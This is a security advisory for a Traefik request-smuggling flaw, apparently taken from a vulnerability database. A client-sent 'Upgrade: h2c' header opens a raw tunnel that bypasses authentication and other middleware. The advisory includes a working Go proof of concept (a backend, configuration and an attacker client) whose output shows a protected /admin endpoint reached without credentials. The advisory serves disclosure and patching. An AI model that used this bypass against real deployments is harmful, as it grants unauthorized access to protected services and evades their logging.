Traefik v3.4.2 through v3.6 are end-of-life and are also affected; users on those versions must upgrade to v3.7.13.

Patches

  • https://github.com/traefik/traefik/releases/tag/v2.11.57
  • https://github.com/traefik/traefik/releases/tag/v3.7.13

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description # Summary Traefik's default HTTP reverse proxy forwards arbitrary `Connection: Upgrade` / `Upgrade: ` requests to the backend. Upgrade tokens are not restricted to protocols explicitly supported by Traefik. This is exploitable when a backend accepts a non-WebSocket upgrade such as `h2c` and responds with `101 Switching Protocols`. Traefik then switches the connection into a raw byte tunnel and stops applying the HTTP routing/middleware chain. An attacker can abuse an unprotected router pointing to the backend to establish the tunnel, then send HTTP/2 requests to other paths on the same backend. Those requests bypass the Traefik router and are therefore not subject to middleware attached to the corresponding protected route. For example: 
/public                         /admin
(no auth)                       (BasicAuth)
    |                               |
    +----------- same backend ------+
                    ^
                    |
              h2c tunnel
                    |
                 attacker
This allows middleware such as `BasicAuth`, `ForwardAuth`, `IPAllowList`, and `RateLimit` to be bypassed. Requests sent over the tunnel also bypass Traefik's normal access logging, metrics, and tracing. The core issue is **unrestricted client-initiated protocol upgrades combined with loss of the HTTP routing/middleware layer after `101 Switching Protocols`**. # Technical Details The default proxy implementation is `pkg/proxy/httputil` (the fast proxy remains experimental and is disabled by default). The relevant request path is: * `pkg/middlewares/forwardedheaders/forwarded_header.go` (`removeConnectionHeaders`, ~lines 198-234) When `Connection: Upgrade` is present, the `Upgrade` header is preserved and forwarded downstream. There is no validation that the upgrade token is `websocket`. * `pkg/proxy/httputil/proxy.go` (`isWebSocketUpgrade`, ~line 170) WebSocket receives special header handling through `cleanWebSocketHeaders`, but this is not an allowlist. Other upgrade protocols are still passed through. * `pkg/server/service/smart_roundtripper.go` (`RoundTrip`, ~line 56) Requests containing `Connection: Upgrade` are sent to the backend over HTTP/1, allowing the backend to perform the upgrade. * `net/http/httputil.ReverseProxy` When the backend returns `101 Switching Protocols`, the reverse proxy switches to tunnel mode and copies bytes between the client and backend. The security boundary breaks at this point. The Traefik router and middleware chain are selected only for the initial HTTP/1 request. After the backend returns `101`, Traefik no longer parses the connection as HTTP requests and does not re-run routing or middleware for subsequent HTTP/2 streams. The resulting flow is: 
Attacker
   |
   | GET /public
   | Connection: Upgrade
   | Upgrade: h2c
   v
Traefik
   |
   | r-public (no auth)
   v
Backend
   |
   | 101 Switching Protocols
   v
[raw byte tunnel]
   |
   | HTTP/2 GET /admin
   v
Backend
The `/admin` request never reaches the `/admin` router. It is sent directly to the backend over the existing tunnel. I found no upgrade-token allowlist or `h2c` rejection in the relevant proxy path. ## This is distinct from configured h2c support Traefik already supports explicitly configured h2c backends. In that case, the operator opts into HTTP/2 communication through the `h2c://` service scheme / `transportH2C` configuration. This issue is different. The upgrade is initiated by the client through the `Upgrade` header. Traefik forwards it regardless of whether the operator configured h2c for that backend. Therefore, a plain HTTP/1 backend can still be affected if it happens to accept `Upgrade: h2c` and return `101`. The protocol switch is initiated by the client, and Traefik does not gate it. # PoC Reproduced against a Traefik binary built from master at commit `9bb0e55`: 
go build ./cmd/traefik
Go 1.26.4
Default configuration was used, with no `encodedCharacters` or upgrade-related options enabled. ## 1. Backend The backend implements a minimal HTTP/1.1 → h2c upgrade handler. It exposes: * `/public` — unauthenticated * `/admin` — intended to be protected by Traefik 
package main

import (
    "bufio"
    "fmt"
    "net"
    "net/http"
    "strings"

    "golang.org/x/net/http2"
)

func main() {
    mux := http.NewServeMux()

    mux.HandleFunc("/public", func(w http.ResponseWriter, r *http.Request) {
        fmt.Fprintf(w, "public ok\n")
    })

    mux.HandleFunc("/admin", func(w http.ResponseWriter, r *http.Request) {
        fmt.Fprintf(
            w,
            "ADMIN SECRET DATA (proto=%s path=%s)\n",
            r.Proto,
            r.URL.Path,
        )
    })

    h2s := &http2.Server{}

    ln, _ := net.Listen("tcp", "127.0.0.1:9900")

    for {
        c, err := ln.Accept()
        if err != nil {
            return
        }

        go func(conn net.Conn) {
            br := bufio.NewReader(conn)
            var sb strings.Builder

            for {
                line, err := br.ReadString('\n')
                if err != nil {
                    return
                }

                sb.WriteString(line)

                if line == "\r\n" {
                    break
                }
            }

            if strings.Contains(sb.String(), "Upgrade: h2c") {
                conn.Write([]byte(
                    "HTTP/1.1 101 Switching Protocols\r\n" +
                        "Connection: Upgrade\r\n" +
                        "Upgrade: h2c\r\n\r\n",
                ))

                h2s.ServeConn(conn, &http2.ServeConnOpts{
                    Handler: mux,
                })

                return
            }

            conn.Close()
        }(c)
    }
}
## 2. Traefik configuration `traefik.yml`: 
entryPoints:
  web:
    address: "127.0.0.1:9080"

providers:
  file:
    filename: "dynamic.yml"
`dynamic.yml`: 
http:
  routers:
    r-public:
      rule: "PathPrefix(`/public`)"
      entryPoints: ["web"]
      service: svc

    r-admin:
      rule: "PathPrefix(`/admin`)"
      entryPoints: ["web"]
      service: svc
      middlewares: ["adminauth"]

  middlewares:
    adminauth:
      basicAuth:
        users:
          - "admin:$2a$10$J33WYF/FCnoWm7PPeEG7leme9d.MioVmaTgJ49MemNXJtdbEyqfs."

  services:
    svc:
      loadBalancer:
        servers:
          - url: "http://127.0.0.1:9900"
Both routers terminate on the same backend. Only `/admin` has authentication. ## 3. Attacker The PoC first verifies that `/admin` is protected, then establishes an unauthenticated `h2c` tunnel through `/public` and sends `/admin` over the resulting HTTP/2 connection. 
package main

import (
    "fmt"
    "io"
    "net"
    "net/http"
    "strings"
    "time"

    "golang.org/x/net/http2"
)

func main() {
    front := "127.0.0.1:9080"

    resp, _ := http.Get("http://" + front + "/admin")
    b, _ := io.ReadAll(resp.Body)
    resp.Body.Close()

    fmt.Printf(
        "[1] Direct GET /admin (no creds) -> %d %q\n",
        resp.StatusCode,
        strings.TrimSpace(string(b)),
    )

    raw, _ := net.Dial("tcp", front)

    raw.Write([]byte(
        "GET /public HTTP/1.1\r\n" +
            "Host: x\r\n" +
            "Connection: Upgrade, HTTP2-Settings\r\n" +
            "Upgrade: h2c\r\n" +
            "HTTP2-Settings: AAMAAABkAAQAoAAAAAIAAAAA\r\n" +
            "\r\n",
    ))

    buf := make([]byte, 256)

    raw.SetReadDeadline(time.Now().Add(3 * time.Second))
    n, _ := raw.Read(buf)

    fmt.Printf(
        "[2] Upgrade: h2c to /public (no auth) -> %q\n",
        strings.SplitN(string(buf[:n]), "\r\n", 2)[0],
    )

    raw.SetReadDeadline(time.Time{})

    cc, _ := (&http2.Transport{}).NewClientConn(raw)

    req, _ := http.NewRequest("GET", "http://x/admin", nil)

    r2, _ := cc.RoundTrip(req)
    b2, _ := io.ReadAll(r2.Body)
    r2.Body.Close()

    fmt.Printf(
        "[3] HTTP/2 GET /admin over tunnel -> %d %q\n",
        r2.StatusCode,
        strings.TrimSpace(string(b2)),
    )
}
### Result 
[1] Direct GET /admin (no creds)      -> 401 "401 Unauthorized"
[2] Upgrade: h2c to /public (no auth) -> "HTTP/1.1 101 Switching Protocols"
[3] HTTP/2 GET /admin over tunnel     -> 200 "ADMIN SECRET DATA (proto=HTTP/2.0 path=/admin)"
This demonstrates the bypass: * Direct `/admin` → `401` * Unauthenticated `/public` → `101` * `/admin` over the established h2c tunnel → `200` The PoC therefore shows that the `/admin` middleware is enforced for normal requests but is completely bypassed once the attacker establishes the upgrade tunnel. # Impact The issue is exploitable when: 1. An attacker can reach a router without the relevant security middleware. 2. That router points to the same backend as a protected router. 3. The backend accepts `Upgrade: h2c` and returns `101 Switching Protocols`. 4. Traefik allows the resulting upgrade to complete. Under these conditions, an unauthenticated attacker can bypass middleware protecting other paths on the same backend. Potentially affected middleware includes: * `BasicAuth` * `ForwardAuth` * `IPAllowList` * `RateLimit` * header/security middleware * other per-request middleware attached to the protected router The tunneled requests also bypass Traefik's normal request processing and therefore do not appear as individual requests in the normal access logs, metrics, or tracing pipeline. The impact is therefore not limited to auth bypass. Depending on the backend, an attacker may reach internal/admin endpoints or perform operations that were intended to be protected by Traefik. # Scope / Preconditions The backend must support the HTTP/1.1 → h2c upgrade mechanism and return `101 Switching Protocols`. This is not true for every HTTP/2-capable backend. For example, recent `golang.org/x/net/http2/h2c` implementations no longer support the HTTP/1.1 upgrade mechanism, so a current Go h2c server using that implementation is not necessarily affected. Older implementations, non-Go servers, custom h2c handlers, and some gRPC-related stacks may still accept the upgrade. Therefore, this is **not** a generic "Traefik + HTTP/2 backend = vulnerable" issue. The backend's ability to accept the client-initiated upgrade is a required prerequisite. The Traefik-side issue itself does not depend on the operator explicitly configuring h2c: the upgrade is client-initiated, forwarded by Traefik, and followed by a transition out of the HTTP routing/middleware path. # Suggested Fix The proxy should only forward upgrade protocols explicitly supported and negotiated by Traefik, e.g. WebSocket. At minimum, unsupported upgrade tokens should be rejected or stripped before forwarding upstream: 
Upgrade: h2c
Upgrade: <arbitrary-token>
More generally, Traefik should not treat an arbitrary `101 Switching Protocols` response as sufficient to transition into a tunnel unless the requested upgrade protocol is explicitly supported by Traefik. The relevant security property is: > **A client must not be able to select an arbitrary protocol upgrade and thereby escape Traefik's HTTP routing/middleware layer.** # TL;DR Traefik forwards arbitrary client-supplied `Upgrade` tokens. If a backend accepts `Upgrade: h2c` and returns `101`, Traefik switches the connection into a raw tunnel. HTTP/2 requests sent through that tunnel are no longer processed by Traefik's routers or middleware. An attacker can therefore use an unprotected router to establish the tunnel and reach protected paths on the same backend: 
/public (no auth)
      |
      | Upgrade: h2c
      v
   Traefik
      |
      | 101
      v
  raw tunnel
      |
      | HTTP/2 GET /admin
      v
   Backend
      |
      v
/admin
(middleware bypassed)
In the PoC, a direct unauthenticated request to `/admin` returns `401`, while the same endpoint accessed over the h2c tunnel returns `200`. The root cause is **unrestricted client-initiated protocol upgrades combined with the loss of Traefik's HTTP routing/middleware enforcement after `101 Switching Protocols`.**
Severity
7.0 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.4.2"
            },
            {
              "fixed": "3.7.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.11.26"
            },
            {
              "fixed": "2.11.57"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-88008"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-10T23:04:37Z",
    "nvd_published_at": "2026-09-10T15:17:56Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThere is a high-severity request-smuggling vulnerability in Traefik\u0027s handling of the HTTP/1.1 `Upgrade` mechanism. Since Traefik moved to unencrypted HTTP/2 with prior knowledge (Go 1.24), a client-initiated `Upgrade: h2c` request header and its connection-specific `HTTP2-Settings` header were forwarded to the backend. A backend that honours the h2c upgrade and answers `101 Switching Protocols` puts Traefik into a raw byte tunnel that bypasses the router and the entire middleware chain (authentication, IPAllowList, rate limiting) on a shared backend. The fix stops forwarding the `Upgrade: h2c` token and the `HTTP2-Settings` header; `Upgrade: websocket` is unaffected. Exploitation requires a backend that upgrades h2c without validating the `Connection` listing; common off-the-shelf servers were not exploitable in testing.\n\nTraefik v3.4.2 through v3.6 are end-of-life and are also affected; users on those versions must upgrade to v3.7.13.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.57\n- https://github.com/traefik/traefik/releases/tag/v3.7.13\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n# Summary\n\nTraefik\u0027s default HTTP reverse proxy forwards arbitrary `Connection: Upgrade` / `Upgrade: \u003ctoken\u003e` requests to the backend. Upgrade tokens are not restricted to protocols explicitly supported by Traefik.\n\nThis is exploitable when a backend accepts a non-WebSocket upgrade such as `h2c` and responds with `101 Switching Protocols`. Traefik then switches the connection into a raw byte tunnel and stops applying the HTTP routing/middleware chain.\n\nAn attacker can abuse an unprotected router pointing to the backend to establish the tunnel, then send HTTP/2 requests to other paths on the same backend. Those requests bypass the Traefik router and are therefore not subject to middleware attached to the corresponding protected route.\n\nFor example:\n\n```text\n/public                         /admin\n(no auth)                       (BasicAuth)\n    |                               |\n    +----------- same backend ------+\n                    ^\n                    |\n              h2c tunnel\n                    |\n                 attacker\n```\n\nThis allows middleware such as `BasicAuth`, `ForwardAuth`, `IPAllowList`, and `RateLimit` to be bypassed. Requests sent over the tunnel also bypass Traefik\u0027s normal access logging, metrics, and tracing.\n\nThe core issue is **unrestricted client-initiated protocol upgrades combined with loss of the HTTP routing/middleware layer after `101 Switching Protocols`**.\n\n# Technical Details\n\nThe default proxy implementation is `pkg/proxy/httputil` (the fast proxy remains experimental and is disabled by default).\n\nThe relevant request path is:\n\n* `pkg/middlewares/forwardedheaders/forwarded_header.go` (`removeConnectionHeaders`, ~lines 198-234)\n\n  When `Connection: Upgrade` is present, the `Upgrade` header is preserved and forwarded downstream. There is no validation that the upgrade token is `websocket`.\n\n* `pkg/proxy/httputil/proxy.go` (`isWebSocketUpgrade`, ~line 170)\n\n  WebSocket receives special header handling through `cleanWebSocketHeaders`, but this is not an allowlist. Other upgrade protocols are still passed through.\n\n* `pkg/server/service/smart_roundtripper.go` (`RoundTrip`, ~line 56)\n\n  Requests containing `Connection: Upgrade` are sent to the backend over HTTP/1, allowing the backend to perform the upgrade.\n\n* `net/http/httputil.ReverseProxy`\n\n  When the backend returns `101 Switching Protocols`, the reverse proxy switches to tunnel mode and copies bytes between the client and backend.\n\nThe security boundary breaks at this point.\n\nThe Traefik router and middleware chain are selected only for the initial HTTP/1 request. After the backend returns `101`, Traefik no longer parses the connection as HTTP requests and does not re-run routing or middleware for subsequent HTTP/2 streams.\n\nThe resulting flow is:\n\n```text\nAttacker\n   |\n   | GET /public\n   | Connection: Upgrade\n   | Upgrade: h2c\n   v\nTraefik\n   |\n   | r-public (no auth)\n   v\nBackend\n   |\n   | 101 Switching Protocols\n   v\n[raw byte tunnel]\n   |\n   | HTTP/2 GET /admin\n   v\nBackend\n```\n\nThe `/admin` request never reaches the `/admin` router. It is sent directly to the backend over the existing tunnel.\n\nI found no upgrade-token allowlist or `h2c` rejection in the relevant proxy path.\n\n## This is distinct from configured h2c support\n\nTraefik already supports explicitly configured h2c backends. In that case, the operator opts into HTTP/2 communication through the `h2c://` service scheme / `transportH2C` configuration.\n\nThis issue is different.\n\nThe upgrade is initiated by the client through the `Upgrade` header. Traefik forwards it regardless of whether the operator configured h2c for that backend.\n\nTherefore, a plain HTTP/1 backend can still be affected if it happens to accept `Upgrade: h2c` and return `101`. The protocol switch is initiated by the client, and Traefik does not gate it.\n\n# PoC\n\nReproduced against a Traefik binary built from master at commit `9bb0e55`:\n\n```text\ngo build ./cmd/traefik\nGo 1.26.4\n```\n\nDefault configuration was used, with no `encodedCharacters` or upgrade-related options enabled.\n\n## 1. Backend\n\nThe backend implements a minimal HTTP/1.1 \u2192 h2c upgrade handler.\n\nIt exposes:\n\n* `/public` \u2014 unauthenticated\n* `/admin` \u2014 intended to be protected by Traefik\n\n```go\npackage main\n\nimport (\n    \"bufio\"\n    \"fmt\"\n    \"net\"\n    \"net/http\"\n    \"strings\"\n\n    \"golang.org/x/net/http2\"\n)\n\nfunc main() {\n    mux := http.NewServeMux()\n\n    mux.HandleFunc(\"/public\", func(w http.ResponseWriter, r *http.Request) {\n        fmt.Fprintf(w, \"public ok\\n\")\n    })\n\n    mux.HandleFunc(\"/admin\", func(w http.ResponseWriter, r *http.Request) {\n        fmt.Fprintf(\n            w,\n            \"ADMIN SECRET DATA (proto=%s path=%s)\\n\",\n            r.Proto,\n            r.URL.Path,\n        )\n    })\n\n    h2s := \u0026http2.Server{}\n\n    ln, _ := net.Listen(\"tcp\", \"127.0.0.1:9900\")\n\n    for {\n        c, err := ln.Accept()\n        if err != nil {\n            return\n        }\n\n        go func(conn net.Conn) {\n            br := bufio.NewReader(conn)\n            var sb strings.Builder\n\n            for {\n                line, err := br.ReadString(\u0027\\n\u0027)\n                if err != nil {\n                    return\n                }\n\n                sb.WriteString(line)\n\n                if line == \"\\r\\n\" {\n                    break\n                }\n            }\n\n            if strings.Contains(sb.String(), \"Upgrade: h2c\") {\n                conn.Write([]byte(\n                    \"HTTP/1.1 101 Switching Protocols\\r\\n\" +\n                        \"Connection: Upgrade\\r\\n\" +\n                        \"Upgrade: h2c\\r\\n\\r\\n\",\n                ))\n\n                h2s.ServeConn(conn, \u0026http2.ServeConnOpts{\n                    Handler: mux,\n                })\n\n                return\n            }\n\n            conn.Close()\n        }(c)\n    }\n}\n```\n\n## 2. Traefik configuration\n\n`traefik.yml`:\n\n```yaml\nentryPoints:\n  web:\n    address: \"127.0.0.1:9080\"\n\nproviders:\n  file:\n    filename: \"dynamic.yml\"\n```\n\n`dynamic.yml`:\n\n```yaml\nhttp:\n  routers:\n    r-public:\n      rule: \"PathPrefix(`/public`)\"\n      entryPoints: [\"web\"]\n      service: svc\n\n    r-admin:\n      rule: \"PathPrefix(`/admin`)\"\n      entryPoints: [\"web\"]\n      service: svc\n      middlewares: [\"adminauth\"]\n\n  middlewares:\n    adminauth:\n      basicAuth:\n        users:\n          - \"admin:$2a$10$J33WYF/FCnoWm7PPeEG7leme9d.MioVmaTgJ49MemNXJtdbEyqfs.\"\n\n  services:\n    svc:\n      loadBalancer:\n        servers:\n          - url: \"http://127.0.0.1:9900\"\n```\n\nBoth routers terminate on the same backend. Only `/admin` has authentication.\n\n## 3. Attacker\n\nThe PoC first verifies that `/admin` is protected, then establishes an unauthenticated `h2c` tunnel through `/public` and sends `/admin` over the resulting HTTP/2 connection.\n\n```go\npackage main\n\nimport (\n    \"fmt\"\n    \"io\"\n    \"net\"\n    \"net/http\"\n    \"strings\"\n    \"time\"\n\n    \"golang.org/x/net/http2\"\n)\n\nfunc main() {\n    front := \"127.0.0.1:9080\"\n\n    resp, _ := http.Get(\"http://\" + front + \"/admin\")\n    b, _ := io.ReadAll(resp.Body)\n    resp.Body.Close()\n\n    fmt.Printf(\n        \"[1] Direct GET /admin (no creds) -\u003e %d %q\\n\",\n        resp.StatusCode,\n        strings.TrimSpace(string(b)),\n    )\n\n    raw, _ := net.Dial(\"tcp\", front)\n\n    raw.Write([]byte(\n        \"GET /public HTTP/1.1\\r\\n\" +\n            \"Host: x\\r\\n\" +\n            \"Connection: Upgrade, HTTP2-Settings\\r\\n\" +\n            \"Upgrade: h2c\\r\\n\" +\n            \"HTTP2-Settings: AAMAAABkAAQAoAAAAAIAAAAA\\r\\n\" +\n            \"\\r\\n\",\n    ))\n\n    buf := make([]byte, 256)\n\n    raw.SetReadDeadline(time.Now().Add(3 * time.Second))\n    n, _ := raw.Read(buf)\n\n    fmt.Printf(\n        \"[2] Upgrade: h2c to /public (no auth) -\u003e %q\\n\",\n        strings.SplitN(string(buf[:n]), \"\\r\\n\", 2)[0],\n    )\n\n    raw.SetReadDeadline(time.Time{})\n\n    cc, _ := (\u0026http2.Transport{}).NewClientConn(raw)\n\n    req, _ := http.NewRequest(\"GET\", \"http://x/admin\", nil)\n\n    r2, _ := cc.RoundTrip(req)\n    b2, _ := io.ReadAll(r2.Body)\n    r2.Body.Close()\n\n    fmt.Printf(\n        \"[3] HTTP/2 GET /admin over tunnel -\u003e %d %q\\n\",\n        r2.StatusCode,\n        strings.TrimSpace(string(b2)),\n    )\n}\n```\n\n### Result\n\n```text\n[1] Direct GET /admin (no creds)      -\u003e 401 \"401 Unauthorized\"\n[2] Upgrade: h2c to /public (no auth) -\u003e \"HTTP/1.1 101 Switching Protocols\"\n[3] HTTP/2 GET /admin over tunnel     -\u003e 200 \"ADMIN SECRET DATA (proto=HTTP/2.0 path=/admin)\"\n```\n\nThis demonstrates the bypass:\n\n* Direct `/admin` \u2192 `401`\n* Unauthenticated `/public` \u2192 `101`\n* `/admin` over the established h2c tunnel \u2192 `200`\n\nThe PoC therefore shows that the `/admin` middleware is enforced for normal requests but is completely bypassed once the attacker establishes the upgrade tunnel.\n\n# Impact\n\nThe issue is exploitable when:\n\n1. An attacker can reach a router without the relevant security middleware.\n2. That router points to the same backend as a protected router.\n3. The backend accepts `Upgrade: h2c` and returns `101 Switching Protocols`.\n4. Traefik allows the resulting upgrade to complete.\n\nUnder these conditions, an unauthenticated attacker can bypass middleware protecting other paths on the same backend.\n\nPotentially affected middleware includes:\n\n* `BasicAuth`\n* `ForwardAuth`\n* `IPAllowList`\n* `RateLimit`\n* header/security middleware\n* other per-request middleware attached to the protected router\n\nThe tunneled requests also bypass Traefik\u0027s normal request processing and therefore do not appear as individual requests in the normal access logs, metrics, or tracing pipeline.\n\nThe impact is therefore not limited to auth bypass. Depending on the backend, an attacker may reach internal/admin endpoints or perform operations that were intended to be protected by Traefik.\n\n# Scope / Preconditions\n\nThe backend must support the HTTP/1.1 \u2192 h2c upgrade mechanism and return `101 Switching Protocols`.\n\nThis is not true for every HTTP/2-capable backend.\n\nFor example, recent `golang.org/x/net/http2/h2c` implementations no longer support the HTTP/1.1 upgrade mechanism, so a current Go h2c server using that implementation is not necessarily affected.\n\nOlder implementations, non-Go servers, custom h2c handlers, and some gRPC-related stacks may still accept the upgrade.\n\nTherefore, this is **not** a generic \"Traefik + HTTP/2 backend = vulnerable\" issue. The backend\u0027s ability to accept the client-initiated upgrade is a required prerequisite.\n\nThe Traefik-side issue itself does not depend on the operator explicitly configuring h2c: the upgrade is client-initiated, forwarded by Traefik, and followed by a transition out of the HTTP routing/middleware path.\n\n# Suggested Fix\n\nThe proxy should only forward upgrade protocols explicitly supported and negotiated by Traefik, e.g. WebSocket.\n\nAt minimum, unsupported upgrade tokens should be rejected or stripped before forwarding upstream:\n\n```text\nUpgrade: h2c\nUpgrade: \u003carbitrary-token\u003e\n```\n\nMore generally, Traefik should not treat an arbitrary `101 Switching Protocols` response as sufficient to transition into a tunnel unless the requested upgrade protocol is explicitly supported by Traefik.\n\nThe relevant security property is:\n\n\u003e **A client must not be able to select an arbitrary protocol upgrade and thereby escape Traefik\u0027s HTTP routing/middleware layer.**\n\n# TL;DR\n\nTraefik forwards arbitrary client-supplied `Upgrade` tokens.\n\nIf a backend accepts `Upgrade: h2c` and returns `101`, Traefik switches the connection into a raw tunnel. HTTP/2 requests sent through that tunnel are no longer processed by Traefik\u0027s routers or middleware.\n\nAn attacker can therefore use an unprotected router to establish the tunnel and reach protected paths on the same backend:\n\n```text\n/public (no auth)\n      |\n      | Upgrade: h2c\n      v\n   Traefik\n      |\n      | 101\n      v\n  raw tunnel\n      |\n      | HTTP/2 GET /admin\n      v\n   Backend\n      |\n      v\n/admin\n(middleware bypassed)\n```\n\nIn the PoC, a direct unauthenticated request to `/admin` returns `401`, while the same endpoint accessed over the h2c tunnel returns `200`.\n\nThe root cause is **unrestricted client-initiated protocol upgrades combined with the loss of Traefik\u0027s HTTP routing/middleware enforcement after `101 Switching Protocols`.**\n\n\u003c/details\u003e\n---",
  "id": "GHSA-w4v4-9rw7-5326",
  "modified": "2026-09-10T23:04:37Z",
  "published": "2026-09-10T23:04:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-w4v4-9rw7-5326"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88008"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/pull/13797"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/a277e94664ffc1ce9543df552d3bbf48d4d3b8b3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v2.11.57"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik: Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027) and Incorrect Authorization"
}
Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list